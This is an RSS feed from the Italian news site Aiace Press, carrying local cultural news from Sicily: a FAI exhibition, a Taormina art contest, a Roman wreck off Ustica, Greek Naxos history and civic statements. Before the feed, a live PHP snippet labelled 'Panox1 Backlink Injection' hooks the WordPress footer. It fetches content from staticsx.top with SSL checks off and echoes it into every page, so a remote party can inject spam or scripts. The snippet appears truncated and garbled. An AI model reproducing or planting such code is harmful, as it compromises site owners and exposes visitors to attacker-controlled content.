// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Cultura Archives - Aiace Press https://aiacepress.it/category/tempolibero/cultura/ La voce del consumatore Fri, 25 Jun 2021 07:01:51 +0000 it-IT hourly 1 https://wordpress.org/?v=6.9.4 https://aiacepress.it/wp-content/uploads/2017/12/cropped-aiace_logo-min-2-32x32.png Cultura Archives - Aiace Press https://aiacepress.it/category/tempolibero/cultura/ 32 32 Splendide ed intense giornate Fai ad Acireale tra arte e natura https://aiacepress.it/splendide-ed-intense-giornate-fai-ad-acireale-tra-arte-e-natura/ https://aiacepress.it/splendide-ed-intense-giornate-fai-ad-acireale-tra-arte-e-natura/#respond Fri, 25 Jun 2021 07:01:49 +0000 https://aiacepress.it/?p=10991 Acireale – La sinfonia della natura trova anche la sua espressione nell’estro artistico degli studenti delle scuole. Così nell’ambito della “Giornate Fai di primavera”, coordinate da Carlo Zimbone, che hanno visto tante iniziative, si è svolta una mostra che ha suscitato un enorme apprezzamento. La villa “Belvedere”, si è trasformata, grazie all’impegno di studenti ed […]

The post Splendide ed intense giornate Fai ad Acireale tra arte e natura appeared first on Aiace Press.

]]>
Acireale – La sinfonia della natura trova anche la sua espressione nell’estro artistico degli studenti delle scuole. Così nell’ambito della “Giornate Fai di primavera”, coordinate da Carlo Zimbone, che hanno visto tante iniziative, si è svolta una mostra che ha suscitato un enorme apprezzamento. La villa “Belvedere”, si è trasformata, grazie all’impegno di studenti ed insegnanti, in una sorta di ideale atelier sul panorama della splendida cittadina Acese. Oltre sessanta alunni del liceo scientifico “Archimede”, guidati dalle insegnanti, Felicia Cutolo e Concy Marano, sono riusciti a conferire una luce nuova pensando che si può valorizzare la natura anche con espressioni artistiche che non intaccano la bellezza del mondo che ci circonda. Altri studenti del liceo classico “Gulli e Pennisi” e dell’istituto comprensivo “Vigo Fuccio La Spina” hanno indossato i panni di “apprendisti ciceroni”. “Docenti e alunni – ha dichiarato il capogruppo del “Fai” acese, Zimbone – hanno colto l’essenza dello spirito che anima l’iniziativa”. Presenti al momento numerose personalitá come il vescovo, Antonino Raspanti ed il sindaco, Stefano Alì. Per ricreare l’atmosfera della villa Belvedere di un tempo, l’insegnante, Giuseppe Rapisarda, ha, infine, allestito un banchetto per l’esposizione dei tradizionali “nciminati”, biscotti con i semi di sesamo.

The post Splendide ed intense giornate Fai ad Acireale tra arte e natura appeared first on Aiace Press.

]]>
https://aiacepress.it/splendide-ed-intense-giornate-fai-ad-acireale-tra-arte-e-natura/feed/ 0
Al via il 3 giugno, al Palazzo dei Duchi di Santo Stefano, l’esposizione dei quadri del concorso dedicato agli scorci taorminesi https://aiacepress.it/al-via-il-3-giugno-al-palazzo-dei-duchi-di-santo-stefano-lesposizione-dei-quadri-del-concorso-dedicato-agli-scorci-taorminesi/ https://aiacepress.it/al-via-il-3-giugno-al-palazzo-dei-duchi-di-santo-stefano-lesposizione-dei-quadri-del-concorso-dedicato-agli-scorci-taorminesi/#respond Tue, 01 Jun 2021 17:26:06 +0000 https://aiacepress.it/?p=10979 Taormina – La Pro Loco e l’associazione Aiace hanno organizzato, per il  3 Giugno alle ore 10 presso la “Sala Colonna” del Palazzo Duchi S. Stefano, l’ inaugurazione della Mostra Espositiva Primo concorso di disegno e pittura”Scorci e quartieri di Taormina”,rivolta agli alunni delle III classi della Media, dell’Istituto Comprensivo di Taormina.La Mostra si svolge […]

The post Al via il 3 giugno, al Palazzo dei Duchi di Santo Stefano, l’esposizione dei quadri del concorso dedicato agli scorci taorminesi appeared first on Aiace Press.

]]>
Taormina – La Pro Loco e l’associazione Aiace hanno organizzato, per il  3 Giugno alle ore 10 presso la “Sala Colonna” del Palazzo Duchi S. Stefano, l’ inaugurazione della Mostra Espositiva Primo concorso di disegno e pittura”Scorci e quartieri di Taormina”,rivolta agli alunni delle III classi della Media, dell’Istituto Comprensivo di Taormina.La Mostra si svolge con il patrocinio dell’Amministrazione Comunale di Taormina e l’Assessorato alla Cultura. L’iniziativa ha un obiettivo culturale e educativo che ha coinvolto gli studenti di Taormina allo scopo di valorizzare la loro creatività e promuovere l’amore per l’Arte e la Cultura.

The post Al via il 3 giugno, al Palazzo dei Duchi di Santo Stefano, l’esposizione dei quadri del concorso dedicato agli scorci taorminesi appeared first on Aiace Press.

]]>
https://aiacepress.it/al-via-il-3-giugno-al-palazzo-dei-duchi-di-santo-stefano-lesposizione-dei-quadri-del-concorso-dedicato-agli-scorci-taorminesi/feed/ 0
La storia affiora dal “relitto profondo” del mare di Ustica https://aiacepress.it/la-storia-affiora-dal-relitto-profondo-del-mare-di-ustica/ https://aiacepress.it/la-storia-affiora-dal-relitto-profondo-del-mare-di-ustica/#respond Sat, 15 May 2021 07:02:00 +0000 https://aiacepress.it/?p=10910 Ustica – Sono iniziate nel mare di Ustica le attività di documentazione e rilievo in 3D del cosiddetto “relitto profondo” di Ustica, una nave romana integra che si trova sul fondale a 200 metri dalla costa a 80 metri di profondità. Durante un’immersione di ricognizione effettuata  lo scorso anno con il batiscafo dall’altofondalista Riccardo Cingillo, […]

The post La storia affiora dal “relitto profondo” del mare di Ustica appeared first on Aiace Press.

]]>
Ustica – Sono iniziate nel mare di Ustica le attività di documentazione e rilievo in 3D del cosiddetto “relitto profondo” di Ustica, una nave romana integra che si trova sul fondale a 200 metri dalla costa a 80 metri di profondità. Durante un’immersione di ricognizione effettuata  lo scorso anno con il batiscafo dall’altofondalista Riccardo Cingillo, venne individuato il relitto di una nave e un cumulo di anfore. Gli studi propedeutici e il video sono stati sottoposti all’assessore dei Beni culturali e dell’Identità siciliana, Alberto Samonà, che ha riconosciuto il valore dell’impresa, approntando le risorse necessarie per programmare la campagna di indagini strumentali e visive che viene condotta in questi giorni da un team internazionale che ha visto impegnati gli altofondalisti siciliani guidati dallo stesso Riccardo Cingillo.

The post La storia affiora dal “relitto profondo” del mare di Ustica appeared first on Aiace Press.

]]>
https://aiacepress.it/la-storia-affiora-dal-relitto-profondo-del-mare-di-ustica/feed/ 0
L’energia oscura dell’universo interpretata da Pippo Vinciguerra https://aiacepress.it/lenergia-oscura-delluniverso-interpretata-da-pippo-vinciguerra/ https://aiacepress.it/lenergia-oscura-delluniverso-interpretata-da-pippo-vinciguerra/#respond Sat, 15 May 2021 06:34:58 +0000 https://aiacepress.it/?p=10894 Cultura – “Tutti noi sappiamo – dice lo studioso Pippo Vinciguerra, in una sua lunga considerazione – che nel nulla del vuoto quantistico, questo campo è in continua  fluttuazione perché dal nulla si possono formare particelle e loro  antiparticelle (P. Dirac ha espresso equazioni) che esistono per brevissimo tempo perchè attraendosi  scompaiono annichilendosi e al loro posto […]

The post L’energia oscura dell’universo interpretata da Pippo Vinciguerra appeared first on Aiace Press.

]]>
Cultura – “Tutti noi sappiamo – dice lo studioso Pippo Vinciguerra, in una sua lunga considerazione – che nel nulla del vuoto quantistico, questo campo è in continua  fluttuazione perché dal nulla si possono formare particelle e loro  antiparticelle (P. Dirac ha espresso equazioni) che esistono per brevissimo tempo perchè attraendosi  scompaiono annichilendosi e al loro posto rilasciano energia. La fisica della particelle distingue le particelle nel modello standard in quanti di materia fermioni dotati di massa e e quanti mediatori bosoni non dotati di massa. Ciò che è avvenuto al tempo del big bang , ove sussisteva il campo quantistico “inflatone”,  è che i fantastiliardi di scomposizioni e composizioni da un lato hanno fatto posto a “energia” da un altro lato  qualche particella non si è annichilita con la corrispondente antiparticella dando luogo a fermioni quindi alle forme di base della materia che poi ha dato luogo alle galassie… Per quanto riguarda l’energia rilasciata in grandissime quantità rispetto alle coppie di particelle riaccoppiatesi questa si è accumulata e possiamo ben pensare che a oggi può costituire quella “cosa” che è la maggior parte dell’ universo cioè energia oscura, la quale più è presente più tende a farsi largo spingendo i corpi celesti ad allontanarsi. Beh, questo è solo un pensiero ma tutta l’ energia che si riforma dall’ annichilimento di particelle e antiparticelle è  nello spazio che si sta ” gonfiando ” a velocità superiore della luce, all’infinito fin quando oltrepassano la soglia dell’ orizzonte degli eventi rispetto a altre galassie nemmeno la loro luce può ritornare perdendosi informazioni di una parte di universo rispetto a un’altra. Con la scoperta, grazie al telescopio Hubble, dell’ Espansione dell’universo e dell’energia oscura si può prevedere una probabile fine con l’allontanamento di tutte le galassie tra di loro per cui non ci può essere nessuna comunicazione e nemmeno la luce è visibile inghiottita ben oltre questo orizzonte”.

The post L’energia oscura dell’universo interpretata da Pippo Vinciguerra appeared first on Aiace Press.

]]>
https://aiacepress.it/lenergia-oscura-delluniverso-interpretata-da-pippo-vinciguerra/feed/ 0
A Giarre la giornata internazionale della donna in streaming https://aiacepress.it/a-giarre-la-giornata-internazionale-della-donna-in-streaming/ https://aiacepress.it/a-giarre-la-giornata-internazionale-della-donna-in-streaming/#respond Tue, 09 Mar 2021 09:53:07 +0000 https://aiacepress.it/?p=10493 Giarre – In occasione della giornata internazionale dedicata alla donna, si è svolta la 17° edizione della mostra-convegno “La figura della donna nel mondo greco romano” organizzata dalla locale Pro Loco. Svoltasi al Salone degli Specchi senza pubblico, ha visto la presenza tra i relatori, oltre allo stesso presidente della Pro Loco, cav. Salvo Zappalà, […]

The post A Giarre la giornata internazionale della donna in streaming appeared first on Aiace Press.

]]>
Giarre – In occasione della giornata internazionale dedicata alla donna, si è svolta la 17° edizione della mostra-convegno “La figura della donna nel mondo greco romano” organizzata dalla locale Pro Loco. Svoltasi al Salone degli Specchi senza pubblico, ha visto la presenza tra i relatori, oltre allo stesso presidente della Pro Loco, cav. Salvo Zappalà, l’assessore alla cultura del comune Ermelinda Nicotra, il presidente della Fidapa di Giarre Riposto; prof. Maria Pia Russo, la prof. Anna Castiglione, il cav. prof. Francesco Bottari e il direttore di Rei Tv e moderatore Melo Nicodemo. Presenti tra gli ospiti l’attrice Marilena Piu, intervenuta leggendo una poesia, e il tenore Federico Parisi e il maestro Michele Patanè, che ha curato la mostra. In questo Mostra-Convegno, a causa delle normative vigenti anti-contagio da Covid-19, emanate dal Governo Nazionale e Regionale, che vieta assembramenti e manifestazioni pubbliche, è andata in onda in diretta streaming e Tv e in differita su ReiTv Ch 89 e Ciak Telesud e sono stati trattati svariati argomenti, tra cui, l’emancipazione della donna attraverso immagini artistiche di stampe e di pitture ben espresse in una splendida mostra curata dal maestro Patanè, incentrata proprio sul pianeta donna, a tratteggiare la figura femminile in un percorso storico che, partendo dalle “suffragette” e sviluppandosi nel tempo in tentativi di legittima appropriazione di una sempre maggiore dignità, arriva in questo XXI° secolo all’affermazione dei propri diritti ed alla conquista di un importantissimo ruolo di “manager woman”, che la pone sullo stesso piano dell’uomo.

The post A Giarre la giornata internazionale della donna in streaming appeared first on Aiace Press.

]]>
https://aiacepress.it/a-giarre-la-giornata-internazionale-della-donna-in-streaming/feed/ 0
Quando gli antichi greci sbarcarono a Giardini Naxos https://aiacepress.it/quando-gli-antichi-greci-sbarcarono-a-giardini-naxos/ https://aiacepress.it/quando-gli-antichi-greci-sbarcarono-a-giardini-naxos/#respond Sun, 07 Mar 2021 09:49:12 +0000 https://aiacepress.it/?p=10484 Giardini Naxos – (di Giuseppe Vinciguerra) « Ora, sfuggito che avemmo gli scogli di Scilla e Cariddi, ecco che ben presto  giungemmo al cospetto dell’isola sacra del sole. In essa eran belle giovenche  dall’ampia cervice e molte pingui greggi del Sole figlio Iperione ». « La terra dove pascolano le greggi al sole », cantata […]

The post Quando gli antichi greci sbarcarono a Giardini Naxos appeared first on Aiace Press.

]]>
Giardini Naxos – (di Giuseppe Vinciguerra)

« Ora, sfuggito che avemmo gli scogli di Scilla e Cariddi, ecco che ben presto

 giungemmo al cospetto dell’isola sacra del sole. In essa eran belle giovenche

 dall’ampia cervice e molte pingui greggi del Sole figlio Iperione ».

« La terra dove pascolano le greggi al sole », cantata da Omero nel libro dodicesimo dell’Odissea, è stata identificata, dagli studiosi degli itinerari di Ulisse, nella zona dove si stabilirono Naxøs e Tauromenion.

E questa è legata al GENIUS LOCI di Naxos.

A Giardini Naxos si è assistito nel tempo a celebrazioni che ne rievocano la storia, i personaggi mitici e le nobili origini. È stato da sempre per Noi giardinesi fonte di soddisfazione ed orgoglio vantare queste origini e celebrarne i fasti con rievocazione di avvenimenti.

Il GENIUS LOCI è l’entità naturale e soprannaturale legata al luogo e oggetto di culto. Secondo i romani infatti, nullus locus sine Genio (nessun luogo è senza un Genio) ed il Genius loci è il Genio del luogo abitato e frequentato dall’uomo.

Pare che nella zona di Naxos esistesse un tempio per il culto di Afrodite, innalzato dai Siculi ed adorato anche dai Greci; tale tempio, secondo Diodoro Siculo, sarebbe esistito ancora nel primo secolo a. C.

La Sicilia dell’VIII sec. A.C. non era in attesa di essere scoperta da una di quelle “magnifiche civiltà eterogenee tutte venute da fuori” della quali per venticinque secoli almeno – come diceva don Fabrizio Salina – gli isolani dovettero portare il peso sulle spalle.

L’isola viveva la sua usuale vita preistorica. Siculi ad est del Platani, Sicani ad Ovest, Elimi sulla estrema punta di occidente, Ausoni e Morgeti nell’area nord-occidentale, tanti eredi dei Castellucciani.

Gente venuta dall’egeo aveva visitato le coste sicule più di mezzo millennio innanzi, e vi aveva lasciato un’impronta. La colonizzazione greca arrivò all’improvviso, inaspettata, penetrante, dominatrice e trasformò l’isola, nel giro di due secoli, in uno dei centri più fioranti e dinamici della civiltà mediterranea antica. Naxos era il primo approdo per chi veniva dalla Grecia ed i Greci eressero fuori dalle mura, sulla rada, un’ara ad Apollo Arkegetes (conduttore dei coloni), che acquistò grande fama allora in Sicilia e fu mèta di solenni pellegrinaggi religiosi.

Tucidite afferma che l’ara ai suoi tempi, cioè all’epoca della guerra del Peloponneso era fuori delle mura cittadine, e che i  theoroi prima di partire per la Grecia offrivano sacrifici. Essa quindi si deve porre sulla spiaggia dove è supponibile che i coloni ellenici abbiano toccato terra, presso il porto da cui si staccavano le navi dopo avere finito di sacrificare al nume protettore.

Da un  passo di Appiano appare che l’altare di Apollo Archegetes, quello stesso innalzato dai Naxi quando posero il piede per la prima volta  in Sicilia e fondarono la prima colonia ellenica, esisteva ancora in piedi nel 36 a. C. Egli prosegue: L’archegetes è una piccola statua (agalmation ) che istituirono la prima volta quelli dei Naxi che emigrarono in Sicilia.

Oggi dalla fine del VII secolo a.C. sono i resti di un piccolo edificio sacro, Sacello. Della fine del VI  secolo a. C. vi è imponente edificio sacro che nasconde quasi le strutture del sacello.

Anche nel tempo moderno GENIUS LOCI è divenuta un’espressione adottata per individuare un approccio allo studio dell’ambiente, interazione di luogo e identità. Con la locuzione di genius loci si intende individuare l’insieme delle caratteristiche socio-culturali, architettoniche, di linguaggio, di abitudini che caratterizzano un luogo, un ambiente. Suole indicare il “carattere” di un luogo.

Infatti la prima terra che attirò l’attenzione dei navigatori greci fu la costa Orientale della Sicilia, ben presto individuata come la più idonea per una loro colonizzazione.

I navigatori Eubei possedevano, in quell’epoca, stabilimenti pirate­schi a Cuma e Pitecuse (Ischia) e, per raggiungerli, passavano per le spiagge Occidentali della Grecia, veleggiavano intorno alle coste dell’I­talia meridionale, giungevanocosì nello Stretto che attraversavano poi, dirigendosi verso le Eolie e le coste della Campania.

La nostra zona, quindi, la “Terra del Sole”, trovandosi situata nelle direttrici del traffico commerciale greco, dovette essere ben nota a quei marinai, i quali, una volta ritornati in Patria, sicuramente ne tes­serono le lodi per la bellezza dei paesaggi, per la fertilità del suolo, per l’amenità del clima: essi avranno portato notizia a Calcide dell’esistenza di una terra da sogno, ai piedi di una gigantesca montagna fumante, in prossimità di un fiume dalle acque limpide e fresche, che si snodava in una verde pianura: un autentico paradiso terrestre, posto sotto un cielo quasi sempre terso ed azzurro, con un aria salutare, rinfrescata dalla brezza del mare turchese, placido nell’attuale rada delimitata da due« Cani », uno dei quali, formato da caratteristiche rocce “nere”, che costituiva un buon approdo per le piccole imbarcazioni di allora; inoltre i marinai avevano preso contatto con i miti cd in­dolenti abitatori indigeni e sapevano così che non ci sarebbe stata reazione violenta ad un eventuale stabilimento di coloni nella loro madre Patria.

Inoltre la naturale prosbolè, o via di comunicazione marittima, tra l’Italia e la Sicilia era per gli antichi navigatori provenienti dalla Grecia quella traLeucopetra, oggi Capo Spartivento, e Naxos, assecondata dalla corrente che da « Capo dell’Armi » si spinge verso l’isola, toccandola appunto nei pressi di Naxos.

Quanto sopra detto spiega i motivi per cui i Greci scelsero la nostra zona per fondarvi la loro prima colonia stabile della Sicilia.

Naxos fu fondata nel 735 a. C. dall’oikista (condottiero, fon­datore) Theokles, ateniese o forse calcidese, nella zona che si estende tra le rocce basaltiche del promontorio e la fertile pianura bagnata dal fiume che fu detto « Akesines » e dal torrente che fu denominato « Ono­balas », là dove spontanei crescevano le viti, olivi e pingui pascoli, in prossimità di un mare pescoso.

Circa l’etimologia del nome Naxos, i pareri degli studiosi concorda­no nel farla risalire a Naxos di Grecia, una delle isole dell’Arcipelago delle Cicladi, nell’Egeo.

I nuovi arrivati, secondo il prof. P. Rizzo, ben presto dovettero impadronirsi delle alture del Tauro, costi­tuenti una fortezza naturale e fondare uno Stato di circa 150 Kmq, i cui confini dovettero coincidere con una linea che, dipartitasi da « Capo S. Alessio », allora denominato « Argennon Akron », a Nord, sarebbe passata attraverso tutta una serie di colline culminanti nella cima di « Veneretta » e, al di là dell’Alcantara, nel « monte San Filippo », nel « colle di Piedimonte », fino a raggiungere la « punta di Stazzo », oltre Giarre, a Sud. I Greci di Naxos dovettero, molto probabilmente, allontanare gli abitatori indigeni, i Siculi, da qucsto territorio, oppure spontaneamente questi ultimi si saranno trasferiti nelle regioni montuose interne.

Comunque, i rapporti fra i due popoli dovettero essere nel loro complesso buoni, poichè i Siculi accorsero in massa nel 425 per difen­dere Naxos dall’assalto dei Messeni e nel 415 per aiutate l’impresa degli Ateniesi, comandati da Nicia e dell’alleata Naxos.

Il territorio di Naxos, per la sua natura prevalentemente pianeg­giante — oggi pianura dell’Alcantara, campagne di Calatabiano e di Mascali — doveva essere coltivato a vigneti e oliveti e ciò dovette co­stituire, unitamente alla posizione marittima che permetteva i com­merci ed una buona pesca, una fonte di grande prosperità per la città.

In questa fertilissima regione i Naxii si dedicarono alla coltivazione delle vigne ed alla raccolta del frumento, oltre che, nella parte collina­re, alla coltivazione degli ulivi.

L’importanza della coltivazione della vite e fama del prodotto è ri­levata anche dalle monete di Naxos, nelle quali spesso appare il grap­polo d’uva e la vite.   Questi simboli oggi compaiono nel gonfalone comunale.

Inoltre nei verdi prati della regione si allevavano imponenti man­drie di bestiame.

Il primo nucleo di coloni di Naxos sarebbe stato costituito dun­que da calcidesi e da emigrati dell’omonima isola dell’Egeo, cui si sarebbero aggiunti poi avventurieri di stirpe diverse, jonica e dorica, ingrossando la colonia che divenne molto popolosa.

Fonti:

– “Storia di Sicilia” opera pubblicata sotto l’alto patronato del Presidente della Repubblica e sotto gli auspici della Regione Siciliana, del Banco di Sicilia e Cassa di Risparmio V.E. , vol 1°, 1979;

– “Naxos Siceliota”, P. Rizzo, Catania 1894);

-“Naxos e Giardini nei secoli”, F.Salimbene, M. Vinciguerra, R. Talio , Catania 1973 .

                                                                                                                       Riporto, infine, una poesia dell’agosto/1969 del cap. Matteo Vinciguerra, cultore della storia e della poetica di

Naxos

NAXION

Bordeggiando al largo

per lo Jonio di Cobalto,

scorgiam dal mare

la turrita Nasso.

           Culla feconda

           d’operose genti,

           d’ubertose valli

           d’Akesin dominatrice.

Patria d’olimpico Tysandro,

di Prokles battitor di conii,

argonauti intrepidi

vi albergano e vasai valenti.

           A piè del Mongibello stesa,

           bella ti fece il Creator,

           ricca, possente in terra

           ed in mar reina.

Iniquo geloso Dionigi

in una notte illune,

per frode di altro Prokle ingrato,

ti portò morte e ruina.

           Pianser i nipoti di Teocle,

           per terre siceliote raminghi,

           servi dopo novantaquattresima olimpiade

           allor che l’undecima l’avea visti signori.                                                                                        

The post Quando gli antichi greci sbarcarono a Giardini Naxos appeared first on Aiace Press.

]]>
https://aiacepress.it/quando-gli-antichi-greci-sbarcarono-a-giardini-naxos/feed/ 0
Solidarietà di Mannino alla chiesa di Monreale dopo incendio al portone di un luogo sacro https://aiacepress.it/solidarieta-di-mannino-alla-chiesa-di-monreale-dopo-incendio-al-portone-di-un-luogo-sacro/ https://aiacepress.it/solidarieta-di-mannino-alla-chiesa-di-monreale-dopo-incendio-al-portone-di-un-luogo-sacro/#respond Tue, 02 Mar 2021 08:35:49 +0000 https://aiacepress.it/?p=10456 Monreale – (Riceviamo e pubblichiamo da Nicolò Mannino) “Il Parlamento della Legalità Internazionale si unisce alla preghiera di Mons. Michele Pennisi, Arcivescovo di Monreale e guida spirituale del movimento, nel chiedere a Dio di rafforzare la fede della Comunità Ecclesiale di Corleone vittima di un sacrilego gesto avvenuto dinnanzi la Chiesa di sant’Agostino la notte […]

The post Solidarietà di Mannino alla chiesa di Monreale dopo incendio al portone di un luogo sacro appeared first on Aiace Press.

]]>
Monreale – (Riceviamo e pubblichiamo da Nicolò Mannino) “Il Parlamento della Legalità Internazionale si unisce alla preghiera di Mons. Michele Pennisi, Arcivescovo di Monreale e guida spirituale del movimento, nel chiedere a Dio di rafforzare la fede della Comunità Ecclesiale di Corleone vittima di un sacrilego gesto avvenuto dinnanzi la Chiesa di sant’Agostino la notte scorsa dove ignoti hanno appiccato il fuoco al portone . “Siamo vicini a tutta la Comunità Ecclesiale di Corleone – scrive  Nicolò Mannino, presidente del Parlamento della Legalità Internazionale – in queste ore di prova e di grande offesa al “credo ” di tanti che nella quotidianità e nel silenzio agiscono a  favore di una  cultura di amore ai veri valori della vita a partire dalla fede che alimenta l’agire di ogni credente. Tutti noi facciamo corona introno alla Chiesa della Diocesi di Monreale , con a capo la nostra guida spirituale Mons. Michele Pennisi che tanto fa con zelo e costanza per avvicinare i cuori più induriti verso la fede e l’azione di Evangelizzazione che , se proprio deve bruciare, lo fa col fuoco della carità, della preghiera e dell’azione quotidiana  alla luce del Kerigma Pasquale. Forza Corleone, non mollare, ritorna a dare testimonianza della tua fede e se solo una mano ha agito nel buio della notte, tu alza le mani alla luce dei giorno per cantare la bella Corleone che ama Dio e si allontana da ogni gesto di odio”. 

The post Solidarietà di Mannino alla chiesa di Monreale dopo incendio al portone di un luogo sacro appeared first on Aiace Press.

]]>
https://aiacepress.it/solidarieta-di-mannino-alla-chiesa-di-monreale-dopo-incendio-al-portone-di-un-luogo-sacro/feed/ 0
“E’ questione di sguardi: “Il Generale della Gdf, Carmine Lopez, scrive a Nicolò Mannino https://aiacepress.it/e-questione-di-sguardi-il-generale-della-gdf-carmine-lopez-scrive-a-nicolo-mannino/ https://aiacepress.it/e-questione-di-sguardi-il-generale-della-gdf-carmine-lopez-scrive-a-nicolo-mannino/#respond Tue, 02 Feb 2021 09:01:53 +0000 https://aiacepress.it/?p=10305 Monreale – Una lunga lettera di condivisione al cammino culturale intrapreso in seno alla grande famiglia del Parlamento della Legalità Internazionale, un messaggio diretto senza retorica e giri di parole, quello scritto da poche ore dal Generale di Corpo D’Armata Carmine Lopez, Generale Interregionale dell”Italia Sud /Occidentale della Guardia di Finanza e da due anni Presidente […]

The post “E’ questione di sguardi: “Il Generale della Gdf, Carmine Lopez, scrive a Nicolò Mannino appeared first on Aiace Press.

]]>
Monreale – Una lunga lettera di condivisione al cammino culturale intrapreso in seno alla grande famiglia del Parlamento della Legalità Internazionale, un messaggio diretto senza retorica e giri di parole, quello scritto da poche ore dal Generale di Corpo D’Armata Carmine Lopez, Generale Interregionale dell”Italia Sud /Occidentale della Guardia di Finanza e da due anni Presidente onorario del Parlamento della Legalità Internazionale, movimento culturale apartitico / interconfessionale e interreligioso fondato da Nicolo’ Mannino , Salvatore Sardisco con la benedizione di Mons. Michele Pennisi, Arcivescovo di Monreale che ne è Guida Spirituale. Il Generale Lopez in due fogli esorta i giovani a riscoprire la bellezza del vivere, del dire “No ” con gesti concreti a ogni forma di violenza e agire per il bene della collettività. Ecco alcuni passaggi della lettera inviata a Nicolò Mannino e che sta raggiungendo i giovani del Parlamento della Legalità internazionale che si trovano in tutta Italia dove sorgono le ben 48 ambasciate del movimento. “Essere  giovani più che un’età è uno stato del cuore. E’ questione di sguardo. Al nostro sguardo – scrive il Generale Lopez – i giovani chiedono di non abituarsi alloro disagio, alle loro difficoltà, ai loro drammi. Ci chiedono – sottolinea – di sperare con loro, di trasformare i loro sogni in progetti, che li aiutiamo a scorgere la bellezza dell’Orizzonte al quale vanno incontro”. Un messaggio questo ricco di tanti spunti di riflessione che richiama proprio il progetto formativo culturale che Nicolò Mannino e Salvatore Sardisco lo scorso anno accademico hanno presentato nella sala dei gruppi parlamentari a Montecitorio dal titolo “Ricercatori dell’Alba ” e che attualmente gode del Patrocinio dell’Assessorato regionale alla Pubblica Istruzione e Formazione della Regione Sicilia a firma dell’Assessore Roberto Lagalla di cui Nicolò Mannino è consulente.

The post “E’ questione di sguardi: “Il Generale della Gdf, Carmine Lopez, scrive a Nicolò Mannino appeared first on Aiace Press.

]]>
https://aiacepress.it/e-questione-di-sguardi-il-generale-della-gdf-carmine-lopez-scrive-a-nicolo-mannino/feed/ 0
Presentata a Milano la fatica letteraria di Mannino e Sardisco “Insegnami ad amarmi” https://aiacepress.it/presentata-a-milano-la-fatica-letteraria-di-mannino-e-sardisco-insegnami-ad-amarmi/ https://aiacepress.it/presentata-a-milano-la-fatica-letteraria-di-mannino-e-sardisco-insegnami-ad-amarmi/#respond Sun, 25 Oct 2020 08:45:50 +0000 https://aiacepress.it/?p=9883 Milano – “Abbiamo un grande debito e lo dobbiamo pagare gioiosamente “:cosi Paolo Borsellino ricordando l’amico Giovanni Falcone, invitava ad agire per “amore” in difesa dei grandi valori della vita proprio per “sostituire al puzzo del compromesso, il fresco profumo di liberta’”. Il Parlamento della Legalità, forte di questo appello, condividendone lo spirito e la […]

The post Presentata a Milano la fatica letteraria di Mannino e Sardisco “Insegnami ad amarmi” appeared first on Aiace Press.

]]>
Milano – “Abbiamo un grande debito e lo dobbiamo pagare gioiosamente “:cosi Paolo Borsellino ricordando l’amico Giovanni Falcone, invitava ad agire per “amore” in difesa dei grandi valori della vita proprio per “sostituire al puzzo del compromesso, il fresco profumo di liberta’”. Il Parlamento della Legalità, forte di questo appello, condividendone lo spirito e la fortezza ha deciso di intervistare, interpellare tanti “uomini e donne di buona volontà” per redigere un libro che sta affascinando molti. Parte cosi da Milano la conoscenza e la divulgazione del libro a firma di Nicolò Mannino e Salvatore Sardisco “Insegnami ad Amarmi” presentato al Convegno Internazionale del Parlamento della Legalità Internazionale lo scorso cinque settembre a Poggio San Francesco a due passi dal Monreale dove ha sede la presidenza dl movimento. Un appuntamento culturale curato nei minimi dettagli dall’imprenditore Stefano Saita che ha radunato  ( in piena osservanza misure anti-covid , tra mascherine e distanziamenti) tutti i suoi dipendenti e amici per un confronto familiare ma di alto profilo culturale con Nicolò Mannino arrivato un pomeriggio di venerdi dal capoluogo siciliano. La stima e l’ammirazione tra Saita e Mannino e’ immediata e semplicemente vera e subito si mette in gioco per dare voce a un appuntamento culturale che tagli il nastro di partenza. Dalla conoscenza personale all’organizzazione dell’evento in regione lombardia il passo è breve. Stefano Saita convoca la stampa, gli amici, i suoi collaboratori e accoglie l’amico Nicolo’ Mannino con un cartellone affisso al muro firmato da tutti i partecipanti con un “benvenuto ” visibile a decine di metri.  Due ore di confronto, con una attenzione che non cede il passo alla stanchezza poichè i presenti comprendono che il parlamento della legalità è qualcosa di unico, di cerio, dove retorica e demagogia non trovano posto. Stefano Saita prende posto accanto a Nicolò Mannino e i due “amici ” animano una splendida serata che si conclude con la presentazione e la consegna del libro “insegnami ad Amarmi” con tanto di autografo e la certezza di ritrovarsi insieme per continuare il cammino culturale intrapreso. All’imprenditore  milanese Nicolò Mannino consegna l’attestato di riconoscimento che sigilla una collaborazione forte e vera sul sentiero di una cultura di vita, di sviluppo. di impegno a favore di chi crede in un’alba di riscatto e  di rinascita. “Desidero ringraziare di cuore l’amico Saita- dice – Mannino, a chiusura dell’incontro dibattito-per aver accolto con entusiasmo,  professionalità e gioia l’iniziativa che richiama il sacrificio di tanti che hanno pagato con la vita un impegno non indifferente per svegliare le cosciente di tanti che desiderano un mondo più vero. ” Saita, persona semplice ma professionalmente valida , si commuove e ringrazia l’amico Nicolò e tutti i partecipanti. Parte cosi da Milano la diffusione del testo a firma anche di Salvatore Sardisco, di mons. Michele Pennisi, dei Generali di Corpo D’Armata Carmine Lopez (Guardia di Finanza ) e Giuseppenicola Tota (Esercito Italiano ) con la conclusione a firma di Antonio Scaglione , figlio del Procuratore della Repubblica Pietro Scaglione ucciso dalla mafia negli anni Settanta.

The post Presentata a Milano la fatica letteraria di Mannino e Sardisco “Insegnami ad amarmi” appeared first on Aiace Press.

]]>
https://aiacepress.it/presentata-a-milano-la-fatica-letteraria-di-mannino-e-sardisco-insegnami-ad-amarmi/feed/ 0
